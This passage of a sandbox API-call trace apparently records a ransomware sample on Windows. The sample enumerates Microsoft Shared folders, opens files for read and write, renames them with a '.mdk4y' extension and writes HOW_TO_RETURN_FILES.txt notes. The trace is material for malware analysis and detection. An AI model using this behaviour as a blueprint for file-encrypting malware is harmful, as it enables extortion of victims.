cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="MS.PNG", lpUsedDefaultChar=0x37df4c) returned 6 [0094.085] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x130 [0094.086] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1816931600000) returned 1 [0094.086] ReadFile (in: hFile=0x130, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x692, lpOverlapped=0x0) returned 1 [0094.115] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1816934500000) returned 1 [0094.115] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1816934500000) returned 1 [0094.116] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.png.mdk4y")) returned 1 [0094.116] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0094.116] AreFileApisANSI () returned 1 [0094.116] GetACP () returned 0x4e4 [0094.116] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MS.WPG", cchWideChar=6, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="MS.WPG", lpUsedDefaultChar=0x37df4c) returned 6 [0094.116] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.wpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x130 [0094.116] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1816934600000) returned 1 [0094.116] ReadFile (in: hFile=0x130, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x566, lpOverlapped=0x0) returned 1 [0094.118] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1816934800000) returned 1 [0094.118] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1816934800000) returned 1 [0094.118] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.wpg"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.wpg.mdk4y")) returned 1 [0094.119] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0094.119] AreFileApisANSI () returned 1 [0094.119] GetACP () returned 0x4e4 [0094.119] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PICTIM32.FLT", cchWideChar=12, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PICTIM32.FLT", lpUsedDefaultChar=0x37df4c) returned 12 [0094.119] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\pictim32.flt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x130 [0094.119] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1816934900000) returned 1 [0094.119] ReadFile (in: hFile=0x130, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x11d78, lpOverlapped=0x0) returned 1 [0094.145] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1816937500000) returned 1 [0094.145] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1816937500000) returned 1 [0094.146] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\pictim32.flt"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\pictim32.flt.mdk4y")) returned 1 [0094.146] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0094.146] AreFileApisANSI () returned 1 [0094.146] GetACP () returned 0x4e4 [0094.146] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PNG32.FLT", cchWideChar=9, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PNG32.FLTFLT", lpUsedDefaultChar=0x37df4c) returned 9 [0094.146] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\png32.flt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x130 [0094.147] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1816937700000) returned 1 [0094.147] ReadFile (in: hFile=0x130, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x49f80, lpOverlapped=0x0) returned 1 [0094.188] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1816941800000) returned 1 [0094.189] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1816941900000) returned 1 [0094.191] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\png32.flt"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\png32.flt.mdk4y")) returned 1 [0094.192] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0094.192] AreFileApisANSI () returned 1 [0094.192] GetACP () returned 0x4e4 [0094.192] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="WPGIMP32.FLT", cchWideChar=12, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="WPGIMP32.FLT", lpUsedDefaultChar=0x37df4c) returned 12 [0094.192] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\wpgimp32.flt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x130 [0094.210] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1816944000000) returned 1 [0094.210] ReadFile (in: hFile=0x130, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x44780, lpOverlapped=0x0) returned 1 [0094.388] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1816961800000) returned 1 [0094.388] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1816961800000) returned 1 [0094.390] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\wpgimp32.flt"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\wpgimp32.flt.mdk4y")) returned 1 [0094.391] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 0 [0094.391] FindClose (in: hFindFile=0x6ab310 | out: hFindFile=0x6ab310) returned 1 [0094.391] AreFileApisANSI () returned 1 [0094.391] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6aaea8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 79 [0094.391] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dc84, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0094.397] GetFileType (hFile=0x12c) returned 0x1 [0094.398] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0094.398] AreFileApisANSI () returned 1 [0094.398] GetACP () returned 0x4e4 [0094.398] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Help", cchWideChar=4, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="HelpFLT", lpUsedDefaultChar=0x37dfd8) returned 4 [0094.398] AreFileApisANSI () returned 1 [0094.398] GetACP () returned 0x4e4 [0094.398] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x69d210, cbMultiByte=52, lpWideCharStr=0x37dd6c, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\") returned 52 [0094.398] AreFileApisANSI () returned 1 [0094.398] GetACP () returned 0x4e4 [0094.398] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr=".on Files\\Microsoft Shared\\GRPHFLT\\HOW_TO_RETURN_FILES.txt", lpUsedDefaultChar=0x37df4c) returned 1 [0094.398] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0094.398] AreFileApisANSI () returned 1 [0094.398] GetACP () returned 0x4e4 [0094.398] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="..n Files\\Microsoft Shared\\GRPHFLT\\HOW_TO_RETURN_FILES.txt", lpUsedDefaultChar=0x37df4c) returned 2 [0094.398] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0094.398] AreFileApisANSI () returned 1 [0094.398] GetACP () returned 0x4e4 [0094.398] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="hxds.dll", cchWideChar=8, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="hxds.dlls\\Microsoft Shared\\GRPHFLT\\HOW_TO_RETURN_FILES.txt", lpUsedDefaultChar=0x37df4c) returned 8 [0094.398] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0094.399] AreFileApisANSI () returned 1 [0094.399] GetACP () returned 0x4e4 [0094.399] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ITIRCL55.DLL", cchWideChar=12, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="ITIRCL55.DLLcrosoft Shared\\GRPHFLT\\HOW_TO_RETURN_FILES.txt", lpUsedDefaultChar=0x37df4c) returned 12 [0094.399] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\itircl55.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x130 [0094.413] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1816964300000) returned 1 [0094.413] ReadFile (in: hFile=0x130, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x100000, lpOverlapped=0x0) returned 1 [0094.504] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1816973400000) returned 1 [0094.504] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1816973400000) returned 1 [0094.513] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\itircl55.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\itircl55.dll.mdk4y")) returned 1 [0094.514] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0094.514] AreFileApisANSI () returned 1 [0094.514] GetACP () returned 0x4e4 [0094.514] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="msitss55.dll", cchWideChar=12, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="msitss55.dll", lpUsedDefaultChar=0x37df4c) returned 12 [0094.514] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 0 [0094.514] FindClose (in: hFindFile=0x6ab310 | out: hFindFile=0x6ab310) returned 1 [0094.514] AreFileApisANSI () returned 1 [0094.514] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6aaea8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 76 [0094.514] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dc84, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0094.527] GetFileType (hFile=0x12c) returned 0x1 [0094.528] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0094.528] AreFileApisANSI () returned 1 [0094.528] GetACP () returned 0x4e4 [0094.528] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ink", cchWideChar=3, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="inkp", lpUsedDefaultChar=0x37dfd8) returned 3 [0094.528] AreFileApisANSI () returned 1 [0094.528] GetACP () returned 0x4e4 [0094.528] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x69d210, cbMultiByte=51, lpWideCharStr=0x37dd6c, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\h") returned 51 [0094.529] AreFileApisANSI () returned 1 [0094.529] GetACP () returned 0x4e4 [0094.529] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr=".on Files\\Microsoft Shared\\Help\\HOW_TO_RETURN_FILES.txt", lpUsedDefaultChar=0x37df4c) returned 1 [0094.529] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0094.529] AreFileApisANSI () returned 1 [0094.529] GetACP () returned 0x4e4 [0094.529] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="..n Files\\Microsoft Shared\\Help\\HOW_TO_RETURN_FILES.txt", lpUsedDefaultChar=0x37df4c) returned 2 [0094.529] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0094.529] AreFileApisANSI () returned 1 [0094.529] GetACP () returned 0x4e4 [0094.529] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Alphabet.xml", cchWideChar=12, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="Alphabet.xmlcrosoft Shared\\Help\\HOW_TO_RETURN_FILES.txt", lpUsedDefaultChar=0x37df4c) returned 12 [0094.529] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0094.552] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0094.552] AreFileApisANSI () returned 1 [0094.552] GetACP () returned 0x4e4 [0094.552] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ar-SA", cchWideChar=5, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="ar-SAbet.xml", lpUsedDefaultChar=0x37df4c) returned 5 [0094.552] AreFileApisANSI () returned 1 [0094.552] GetACP () returned 0x4e4 [0094.553] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x69d258, cbMultiByte=57, lpWideCharStr=0x37dce0, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\") returned 57 [0094.555] AreFileApisANSI () returned 1 [0094.555] GetACP () returned 0x4e4 [0094.555] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6b7af4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr=".", lpUsedDefaultChar=0x37dec0) returned 1 [0094.555] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b0690 | out: lpFindFileData=0x6b0690) returned 1 [0094.555] AreFileApisANSI () returned 1 [0094.555] GetACP () returned 0x4e4 [0094.555] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6b7af4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="..F", lpUsedDefaultChar=0x37dec0) returned 2 [0094.556] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b0690 | out: lpFindFileData=0x6b0690) returned 1 [0094.556] AreFileApisANSI () returned 1 [0094.556] GetACP () returned 0x4e4 [0094.556] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="tipresx.dll.mui", cchWideChar=15, lpMultiByteStr=0x6b7af4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="tipresx.dll.mui", lpUsedDefaultChar=0x37dec0) returned 15 [0094.556] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ar-sa\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0094.681] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b0690 | out: lpFindFileData=0x6b0690) returned 0 [0094.681] FindClose (in: hFindFile=0x6ab350 | out: hFindFile=0x6ab350) returned 1 [0094.681] AreFileApisANSI () returned 1 [0094.681] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6aafd0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 81 [0094.681] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ar-sa\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dbf8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0094.682] GetFileType (hFile=0x130) returned 0x1 [0094.683] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0094.683] AreFileApisANSI () returned 1 [0094.683] GetACP () returned 0x4e4 [0094.683] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="bg-BG", cchWideChar=5, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="bg-BG", lpUsedDefaultChar=0x37df4c) returned 5 [0094.683] AreFileApisANSI () returned 1 [0094.683] GetACP () returned 0x4e4 [0094.683] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x69d258, cbMultiByte=57, lpWideCharStr=0x37dce0, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\j\x04") returned 57 [0094.683] AreFileApisANSI () returned 1 [0094.683] GetACP () returned 0x4e4 [0094.683] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6b7af4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr=".V2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 1 [0094.683] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b0690 | out: lpFindFileData=0x6b0690) returned 1 [0094.683] AreFileApisANSI () returned 1 [0094.683] GetACP () returned 0x4e4 [0094.683] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6b7af4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="..2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 2 [0094.683] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b0690 | out: lpFindFileData=0x6b0690) returned 1 [0094.683] AreFileApisANSI () returned 1 [0094.683] GetACP () returned 0x4e4 [0094.683] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="tipresx.dll.mui", cchWideChar=15, lpMultiByteStr=0x6b7af4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="tipresx.dll.muiQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 15 [0094.684] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\bg-bg\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0094.684] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b0690 | out: lpFindFileData=0x6b0690) returned 0 [0094.684] FindClose (in: hFindFile=0x6ab350 | out: hFindFile=0x6ab350) returned 1 [0094.684] AreFileApisANSI () returned 1 [0094.684] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6aafd0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 81 [0094.684] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\bg-bg\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dbf8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0094.684] GetFileType (hFile=0x130) returned 0x1 [0094.685] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0094.685] AreFileApisANSI () returned 1 [0094.685] GetACP () returned 0x4e4 [0094.685] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Content.xml", cchWideChar=11, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="Content.xmll", lpUsedDefaultChar=0x37df4c) returned 11 [0094.685] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0094.685] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0094.685] AreFileApisANSI () returned 1 [0094.685] GetACP () returned 0x4e4 [0094.685] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ConvertInkStore.exe", cchWideChar=19, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="ConvertInkStore.exe Shared\\Help\\HOW_TO_RETURN_FILES.txt", 